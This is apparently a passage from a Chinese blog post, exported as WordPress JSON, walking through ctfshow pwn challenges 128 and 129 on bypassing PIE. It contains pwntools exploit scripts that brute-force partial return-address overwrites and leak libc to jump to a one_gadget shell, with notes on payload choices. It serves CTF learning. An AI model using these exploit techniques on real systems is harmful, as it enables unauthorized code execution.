from pwn import *\nfrom LibcSearcher import *\ncontext.log_level = 'info'\n#io = process('\/home\/monke\/PWN\/CTFSHOW\/128')\n#io = remote('pwn.challenge.ctf.show',28293)\nelf = ELF('\/home\/monke\/PWN\/CTFSHOW\/128')\n\n\ndef exp():\n\tpayload1=b'a'*40+b'\\xca'\n\tio.sendline(payload1)\n\tpayload2=b'a'*0xc0+p64(0xfffffffffffffff0)+b'\\x01\\x09'\n\tio.sendline(payload2)\n\n\n\tio.recv(timeout = 1)\n\n\nif __name__ == '__main__':\n while True:\n io = remote('pwn.challenge.ctf.show',28293)\n try:\n exp()\n io.interactive()\n break\n except KeyboardInterrupt:\n break\n except:\n io.close()\n continue\n<\/code><\/pre>\n\n\n\n\u6709\u51e0\u4e2a\u9700\u8981\u6ce8\u610f\u7684\u5730\u65b9\uff1a<\/p>\n\n\n\n
1.payload1=b’a’*40+b’\\xca’\uff0c\\xca\u5fc5\u987b\u521a\u597d\u4e0epayload2\u957f\u5ea6\u4e00\u81f4\uff0c\u4e0d\u80fd\u586b\u957f\uff0c\u731c\u6d4b\u539f\u56e0\u662fstrncpy\u51fd\u6570\u7279\u6027\u2014\u2014n\u6bd4\u6e90\u5b57\u7b26\u4e32\u957f\u5ea6\u8981\u5927\u5bfc\u81f4\u7684EOF\u9519\u8bef<\/p>\n\n\n\n
2.payload2=b’a’*0xc0+p64(0xfffffffffffffff0)+b’\\x01\\x09’\uff0cp64(0xfffffffffffffff0)\u5373\u8986\u76d6rbp\u7684\u503c\uff0c\u8be5\u503c\u4e0d\u80fd\u586bp64(0)\u3001p64(f0)\u3001p64(fff)\u7b49\u503c\uff0c\u731c\u6d4b\u662f\u56e0\u4e3astrncpy\u51fd\u6570\u76840\u622a\u65ad\u5bfc\u81f4\u7684\u3002\u4f46\u662fp64(0xfffffffffffffff0)\u5374\u53ef\u4ee5\u3002<\/p>\n\n\n\n
3.\u540e\u95e8\u51fd\u6570\u5730\u5740\u662f”\\x00″”\\x90″\uff0c\u4e3a\u4ec0\u4e48\u8981\u586b”\\x01″”\\x90″\uff1f\u731c\u6d4b\u539f\u56e0\u662f\uff0c\u7531\u4e8e\u5728payload2\u4e2d\u628arbp\u8986\u76d6\u6210\u4e86\u4e0d\u5b58\u5728\u7684\u503c\uff0c\u800c\u540e\u95e8\u51fd\u6570\u4e00\u5f00\u59cb\u662fpush rbp\uff0c\u53ef\u80fd\u4f1a\u5bfc\u81f4EOF\uff0c\u6240\u4ee5\u5f97\u4ece”\\x01″”\\x90″\u5f00\u59cb\u3002<\/p>\n\n\n\n
4.\u811a\u672c\u8bed\u6cd5\u9519\u8bef\u548c\u7206\u7834\u5931\u8d25\uff0c\u7206\u7834\u7684\u901f\u5ea6\u660e\u663e\u4e0d\u540c\u3002<\/p>\n\n\n\n\n![\"\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/figure>\n<\/figure>\n\n\n\n
\u6210\u529f\u7206\u7834\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
<\/span>\u4f8b\u9898\uff1actfshow pwn\u5165\u95e8129<\/span><\/h4>\n\n\n\n\u9898\u76ee\u5206\u6790\u89c1vsyscall\u6a21\u5757\u5904\uff0c\u6b64\u5904\u4e3a\u8be5\u9898\u7684\u7206\u7834\u505a\u6cd5\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
<\/p>\n\n\n\n
exp\uff1a<\/p>\n\n\n\n
from pwn import *\ncontext.log_level = 'info'\ni = 0\nwhile True:\n try:\n py_add = 0\n i += 1\n print (i)\n #io = process('.\/pwn')\n io = remote('pwn.challenge.ctf.show', 28157)\n io.sendlineafter(\"Choice:\\n\", '1')\n io.sendlineafter(\"doubts?\\n\", '1')\n io.sendlineafter(\"more?\\n\", '1')\n io.recvuntil(\"Question: \")\n a1 = int(io.recvuntil(\" \")[:-1])\n io.recvuntil(\"* \")\n a2 = int(io.recvuntil(\" \")[:-1])\n a3 = str(a1 * a2)\n a4 = a3.ljust(0x30, '\\x00') + '\\x6c'\n io.sendafter(\"Answer:\", a4)\n io.recvuntil(\"doubt \")\n answer = int(io.recvuntil(\"\\n\")[:-1])\n if answer < 0:\n answer = answer + 0x100000000 # \u7531\u4e8eanswer\u8fd9\u4e2a\u6570\u7684\u4e8c\u8fdb\u5236\u6700\u9ad8\u4f4d\u6709\u53ef\u80fd\u662f0\u62161\uff0c\u6240\u4ee5\u53ef\u80fd\u4e3a\u6709\u7b26\u53f7\u6570\uff080\uff09\uff0c\u8981\u5904\u7406\n answer_end = answer + 0x7f2a00000000 # \u901a\u8fc7ELF(libc\u6587\u4ef6).symbols['\u51fd\u6570\u540d']\u67e5\u627e\u5730\u5740\n if hex(answer_end)[-2:] == '6f': # _IO_file_write+8F e0+8f=16f\n py_add = answer_end - 0xf88e0 - 0x8f\n elif hex(answer_end)[-2:] == '00': # _IO_2_1_stdout\n py_add = answer_end - 0x3c2600\n elif hex(answer_end)[-2:] == '83': # _IO_2_1_stdout_+83 00+83=83\n py_add = answer_end - 0x3c2600 - 0x83\n elif hex(answer_end)[-2:] == '59': # _IO_do_write+79 e0+79=159\n py_add = answer_end - 0xf88e0 - 0x79\n elif hex(answer_end)[-2:] == '20': # _IO_file_overflow\n py_add = answer_end - 0x7c820\n elif hex(answer_end)[-2:] == '8a': # puts+16a 20+6a=8a\n py_add = answer_end - 0x70920 - 0x16a\n one_gadget = py_add + 0x45216\n if py_add == 0:\n io.close()\n continue\n io.recvuntil(\"Question: \")\n a1 = int(io.recvuntil(\" \")[:-1])\n io.recvuntil(\"* \")\n a2 = int(io.recvuntil(\" \")[:-1])\n a3 = str(a1 * a2)\n\n a4 = a3.encode().ljust(0x38,b'\\x00')+p64(one_gadget)\n io.sendafter(\"Answer:\", a4)\n io.recv(timeout=1)\n except EOFError:\n io.close()\n continue\n else:\n io.interactive()\n break\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"PIE\u4fdd\u62a4\uff1a \u5bf9\u4ee3\u7801\u6bb5\u3001\u6570\u636e\u6bb5\u3001bss\u6bb5\u542f\u7528\u504f\u79fb\uff0c\u540e\u4e09\u4f4d\u4e0d\u53d8\u3002 \u666e\u904d\u60c5\u51b5\u4e0btext\u6bb5\u51fd\u6570\u7684\u5730\u5740\uff0c\u53ea\u6709\u540e\u56db\u4f4d\u4e0d\u540c […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22,17,13],"tags":[14,23],"class_list":["post-456","post","type-post","status-publish","format-standard","hentry","category-22","category-17","category-13","tag-pwn","tag-23"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/456","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=456"}],"version-history":[{"count":6,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/456\/revisions"}],"predecessor-version":[{"id":878,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/456\/revisions\/878"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=456"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=456"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=456"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}